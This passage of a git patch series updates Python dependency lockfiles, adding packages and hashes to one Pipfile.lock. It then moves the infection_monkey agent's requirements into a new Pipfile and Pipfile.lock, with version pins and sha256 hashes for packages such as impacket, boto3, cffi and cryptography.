"sha256:d5c731705114b9ad673754f3317d9fa4c23212f36b29bdc4272a892eafc9bc72" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==9.1" + }, "idna": { "hashes": [ "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", @@ -348,6 +400,38 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.1.0" }, + "jaraco.classes": { + "hashes": [ + "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", + "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.1" + }, + "jaraco.collections": { + "hashes": [ + "sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc", + "sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.functools": { + "hashes": [ + "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", + "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.text": { + "hashes": [ + "sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613", + "sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + }, "jinja2": { "hashes": [ "sha256:03e47ad063331dd6a3f04a43eddca8a966a26ba0c5b7207a9a9e4e08f1b29419", @@ -446,6 +530,21 @@ "index": "pypi", "version": "==3.19.0" }, + "more-itertools": { + "hashes": [ + "sha256:5652a9ac72209ed7df8d9c15daf4e1aa0e3d2ccd3c87f8265a0673cd9cbc9ced", + "sha256:c5d6da9ca3ff65220c3bfd2a8db06d698f05d4d2b9be57e1deb2be5a45019713" + ], + "markers": "python_version >= '3.5'", + "version": "==8.7.0" + }, + "netaddr": { + "hashes": [ + "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", + "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" + ], + "version": "==0.8.0" + }, "netifaces": { "hashes": [ "sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215", @@ -496,6 +595,21 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.13.1" }, + "policyuniverse": { + "hashes": [ + "sha256:9b96bf46df37b5646f3a1361021949d8527698bcb8bcf26941eaa89a6fe85dd2", + "sha256:f40ef95b0b73db8891f4ce9a9d25260ed332f48b0f72b515a2481ff7cad0fca2" + ], + "version": "==1.3.4.20210402" + }, + "portend": { + "hashes": [ + "sha256:986ed9a278e64a87b5b5f4c21e61c25bebdce9919a92238d9c14c37a7416482b", + "sha256:add53a9e65d4022885f97de7895da583d0ed57df3eadb0b4d2ada594268cc0e6" + ], + "markers": "python_version >= '3.6'", + "version": "==2.7.1" + }, "py": { "hashes": [ "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", @@ -580,11 +694,11 @@ }, "pyjwt": { "hashes": [ - "sha256:a5c70a06e1f33d81ef25eecd50d50bd30e34de1ca8b2b9fa3fe0daaabcf69bf7", - "sha256:b70b15f89dc69b993d8a8d32c299032d5355c82f9b5b7e851d1a6d706dffe847" + "sha256:00414bfef802aaecd8cc0d5258b6cb87bd8f553c2986c2c5f29b19dd5633aeb7", + "sha256:ddec8409c57e9d371c6006e388f91daf3b0b43bdf9fcbf99451fb7cf5ce0a86d" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "index": "pypi", + "version": "==1.7" }, "pymongo": { "hashes": [ @@ -663,6 +777,15 @@ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", "version": "==2.4.7" }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "sys_platform == 'win32'", + "version": "==2.1" + }, "pyrsistent": { "hashes": [ "sha256:2e636185d9eb976a18a8a8e96efce62f2905fea90041958d8cc2a189756ebf3e" @@ -680,11 +803,11 @@ }, "python-dateutil": { "hashes": [ - "sha256:73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c", - "sha256:75bb3f31ea686f1197762692a9ee6a7550b59fc6ca3a1f4b5d7e32fb98e2da2a" + "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", + "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" ], "index": "pypi", - "version": "==2.8.1" + "version": "==2.8.0" }, "pytz": { "hashes": [ @@ -693,6 +816,22 @@ ], "version": "==2021.1" }, + "pywin32": { + "hashes": [ + "sha256:1c204a81daed2089e55d11eefa4826c05e604d27fe2be40b6bf8db7b6a39da63", + "sha256:27a30b887afbf05a9cbb05e3ffd43104a9b71ce292f64a635389dbad0ed1cd85", + "sha256:350c5644775736351b77ba68da09a39c760d75d2467ecec37bd3c36a94fbed64", + "sha256:60a8fa361091b2eea27f15718f8eb7f9297e8d51b54dbc4f55f3d238093d5190", + "sha256:638b68eea5cfc8def537e43e9554747f8dee786b090e47ead94bfdafdb0f2f50", + "sha256:8151e4d7a19262d6694162d6da85d99a16f8b908949797fd99c83a0bfaf5807d", + "sha256:a3b4c48c852d4107e8a8ec980b76c94ce596ea66d60f7a697582ea9dce7e0db7", + "sha256:b1609ce9bd5c411b81f941b246d683d6508992093203d4eb7f278f4ed1085c3f", + "sha256:d7e8c7efc221f10d6400c19c32a031add1c4a58733298c09216f57b4fde110dc", + "sha256:fbb3b1b0fbd0b4fc2a3d1d81fe0783e30062c1abed1d17c32b7879d55858cfae" + ], + "markers": "sys_platform == 'win32'", + "version": "==300" + }, "pywin32-ctypes": { "hashes": [ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", @@ -757,6 +896,10 @@ ], "version": "==0.3.7" }, + "scoutsuite": { + "git": "https://github.com/guardicode/ScoutSuite", + "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" + }, "sentinels": { "hashes": [ "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1" @@ -822,6 +965,12 @@ "index": "pypi", "version": "==1.15.0" }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, "stix2": { "hashes": [ "sha256:15c9cf599f5c43124e76fe71b883e4918f6f4cf65b084c58ec64b6180f45c938", @@ -837,6 +986,14 @@ ], "version": "==1.3.2" }, + "tempora": { + "hashes": [ + "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909", + "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8" + ], + "markers": "python_version >= '3.6'", + "version": "==4.0.2" + }, "toml": { "hashes": [ "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b", @@ -892,6 +1049,13 @@ ], "version": "==0.3.0" }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, "zipp": { "hashes": [ "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", From 7f928fa90da0a18ae3424407bf030c3f3dbc6769 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 14:53:59 +0300 Subject: [PATCH 0256/1360] Migrated from monkey agents requirements.txt to pipenv requirements --- monkey/infection_monkey/Pipfile | 32 + monkey/infection_monkey/Pipfile.lock | 969 +++++++++++++++++++++++ monkey/infection_monkey/requirements.txt | 21 - 3 files changed, 1001 insertions(+), 21 deletions(-) create mode 100644 monkey/infection_monkey/Pipfile create mode 100644 monkey/infection_monkey/Pipfile.lock delete mode 100644 monkey/infection_monkey/requirements.txt diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile new file mode 100644 index 00000000000..385043b1ded --- /dev/null +++ b/monkey/infection_monkey/Pipfile @@ -0,0 +1,32 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +cffi = ">=1.14" +ecdsa = "==0.15" +pyinstaller = {git = "https://github.com/guardicore/pyinstaller"} +impacket = ">=0.9" +ipaddress = ">=1.0.23" +netifaces = ">=0.10.9" +odict = "==1.7.0" +paramiko = ">=2.7.1" +psutil = ">=5.7.0" +psycopg2-binary = "==2.8.6" +pycryptodome = "==3.9.8" +pyftpdlib = "==1.5.6" +pymssql = "<3.0" +pypykatz = "==0.3.12" +pysmb = "==1.2.5" +requests = ">=2.24" +urllib3 = "==1.25.8" +simplejson = "*" +"WinSys-3.x" = ">=0.5.2" +WMI = "==1.5.1" +ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} + +[dev-packages] + +[requires] +python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock new file mode 100644 index 00000000000..c2d18f2f766 --- /dev/null +++ b/monkey/infection_monkey/Pipfile.lock @@ -0,0 +1,969 @@ +{ + "_meta": { + "hash": { + "sha256": "d5feb6a8a2f262ea19d76eff06addbd34038b6058a83b6611b4e3180950fd4a0" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.7" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "aiowinreg": { + "hashes": [ + "sha256:308b4d79b2eb9ec0b5a5adcf2f7dde9631342bb9dad2e51849dbe524324b615a", + "sha256:956278a90ef6958f9e2392891b2a305273f695b15b14489cd2097197d6cbe155" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.4" + }, + "asn1crypto": { + "hashes": [ + "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", + "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" + ], + "version": "==1.4.0" + }, + "asyncio-throttle": { + "hashes": [ + "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" + ], + "markers": "python_version >= '3.5'", + "version": "==0.1.1" + }, + "asysocks": { + "hashes": [ + "sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6", + "sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.1" + }, + "bcrypt": { + "hashes": [ + "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", + "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", + "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", + "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", + "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.0" + }, + "boto3": { + "hashes": [ + "sha256:73bcd04f6f919e7f8acc27c9d83dab5aee22225fe624c028b2e1c7feaf771098", + "sha256:c45e7d3aef8965ae1b42c9855c31ded19fbb38cfad0a34cc37dc880ded3672c2" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.17.51" + }, + "botocore": { + "hashes": [ + "sha256:ae45ea7451513373666b7571064c173d649e61fd3e8f413f0e1f1f9db26b3513", + "sha256:c853d6c2321e2f2328282c7d49d7b1a06201826ba0e7049c6975ab5f22927ea8" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.20.51" + }, + "certifi": { + "hashes": [ + "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", + "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" + ], + "version": "==2020.12.5" + }, + "cffi": { + "hashes": [ + "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", + "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", + "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", + "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", + "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", + "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", + "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", + "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", + "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", + "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", + "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", + "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", + "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5", + "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", + "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", + "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", + "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", + "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", + "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", + "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369", + "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827", + "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053", + "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa", + "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4", + "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322", + "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132", + "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62", + "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa", + "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0", + "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396", + "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", + "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", + "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", + "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", + "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", + "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", + "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" + ], + "index": "pypi", + "version": "==1.14.5" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "cheroot": { + "hashes": [ + "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", + "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==8.5.2" + }, + "cherrypy": { + "hashes": [ + "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499", + "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4" + ], + "markers": "python_version >= '3.5'", + "version": "==18.6.0" + }, + "cherrypy-cors": { + "hashes": [ + "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", + "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" + ], + "markers": "python_version >= '2.7'", + "version": "==1.6" + }, + "click": { + "hashes": [ + "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", + "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==7.1.2" + }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "sys_platform == 'win32'", + "version": "==0.4.4" + }, + "coloredlogs": { + "hashes": [ + "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", + "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + ], + "version": "==10.0" + }, + "cryptography": { + "hashes": [ + "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d", + "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959", + "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6", + "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873", + "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2", + "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713", + "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", + "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", + "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", + "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", + "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", + "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.7" + }, + "dnspython": { + "hashes": [ + "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", + "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4" + ], + "markers": "python_version >= '3.6'", + "version": "==2.1.0" + }, + "ecdsa": { + "hashes": [ + "sha256:867ec9cf6df0b03addc8ef66b56359643cb5d0c1dc329df76ba7ecfe256c8061", + "sha256:8f12ac317f8a1318efa75757ef0a651abe12e51fc1af8838fb91079445227277" + ], + "index": "pypi", + "version": "==0.15" + }, + "flask": { + "hashes": [ + "sha256:4efa1ae2d7c9865af48986de8aeb8504bf32c7f3d6fdc9353d34b21f4b127060", + "sha256:8a4fdd8936eba2512e9c85df320a37e694c93945b33ef33c89946a340a238557" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.1.2" + }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.18.2" + }, + "httpagentparser": { + "hashes": [ + "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + ], + "version": "==1.9.1" + }, + "humanfriendly": { + "hashes": [ + "sha256:066562956639ab21ff2676d1fda0b5987e985c534fc76700a19bd54bcb81121d", + "sha256:d5c731705114b9ad673754f3317d9fa4c23212f36b29bdc4272a892eafc9bc72" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==9.1" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "impacket": { + "hashes": [ + "sha256:4bf7e7b595356585599b4b2773b8a463d7b9765c97012dcd5a44eb6d547f6a1d" + ], + "index": "pypi", + "version": "==0.9.22" + }, + "ipaddress": { + "hashes": [ + "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", + "sha256:b7f8e0369580bb4a24d5ba1d7cc29660a4a6987763faf1d8a8046830e020e7e2" + ], + "index": "pypi", + "version": "==1.0.23" + }, + "itsdangerous": { + "hashes": [ + "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19", + "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.1.0" + }, + "jaraco.classes": { + "hashes": [ + "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", + "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.1" + }, + "jaraco.collections": { + "hashes": [ + "sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc", + "sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.functools": { + "hashes": [ + "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", + "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.text": { + "hashes": [ + "sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613", + "sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + }, + "jinja2": { + "hashes": [ + "sha256:03e47ad063331dd6a3f04a43eddca8a966a26ba0c5b7207a9a9e4e08f1b29419", + "sha256:a6d58433de0ae800347cab1fa3043cebbabe8baa9d29e668f1c768cb87a333c6" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==2.11.3" + }, + "jmespath": { + "hashes": [ + "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", + "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.10.0" + }, + "ldap3": { + "hashes": [ + "sha256:18c3ee656a6775b9b0d60f7c6c5b094d878d1d90fc03d56731039f0a4b546a91", + "sha256:4139c91f0eef9782df7b77c8cbc6243086affcb6a8a249b768a9658438e5da59", + "sha256:8c949edbad2be8a03e719ba48bd6779f327ec156929562814b3e84ab56889c8c", + "sha256:afc6fc0d01f02af82cd7bfabd3bbfd5dc96a6ae91e97db0a2dab8a0f1b436056", + "sha256:c1df41d89459be6f304e0ceec4b00fdea533dbbcd83c802b1272dcdb94620b57" + ], + "version": "==2.9" + }, + "ldapdomaindump": { + "hashes": [ + "sha256:4cb2831d9cc920b93f669946649dbc55fe85ba7fdc1461d1f3394094016dad31", + "sha256:72731b83ae33b36a0599e2e7b52f0464408032bd37211ffc76b924fc79ff9834", + "sha256:ec293973209302eb6d925c3cde6b10693c15443933d1884bc4495d4a19d29181" + ], + "version": "==0.9.3" + }, + "markupsafe": { + "hashes": [ + "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", + "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", + "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", + "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", + "sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42", + "sha256:195d7d2c4fbb0ee8139a6cf67194f3973a6b3042d742ebe0a9ed36d8b6f0c07f", + "sha256:22c178a091fc6630d0d045bdb5992d2dfe14e3259760e713c490da5323866c39", + "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", + "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", + "sha256:2beec1e0de6924ea551859edb9e7679da6e4870d32cb766240ce17e0a0ba2014", + "sha256:3b8a6499709d29c2e2399569d96719a1b21dcd94410a586a18526b143ec8470f", + "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", + "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", + "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", + "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", + "sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b", + "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", + "sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15", + "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", + "sha256:6f1e273a344928347c1290119b493a1f0303c52f5a5eae5f16d74f48c15d4a85", + "sha256:6fffc775d90dcc9aed1b89219549b329a9250d918fd0b8fa8d93d154918422e1", + "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", + "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", + "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", + "sha256:7fed13866cf14bba33e7176717346713881f56d9d2bcebab207f7a036f41b850", + "sha256:84dee80c15f1b560d55bcfe6d47b27d070b4681c699c572af2e3c7cc90a3b8e0", + "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", + "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", + "sha256:98bae9582248d6cf62321dcb52aaf5d9adf0bad3b40582925ef7c7f0ed85fceb", + "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", + "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", + "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", + "sha256:a6a744282b7718a2a62d2ed9d993cad6f5f585605ad352c11de459f4108df0a1", + "sha256:acf08ac40292838b3cbbb06cfe9b2cb9ec78fce8baca31ddb87aaac2e2dc3bc2", + "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", + "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", + "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", + "sha256:b1dba4527182c95a0db8b6060cc98ac49b9e2f5e64320e2b56e47cb2831978c7", + "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", + 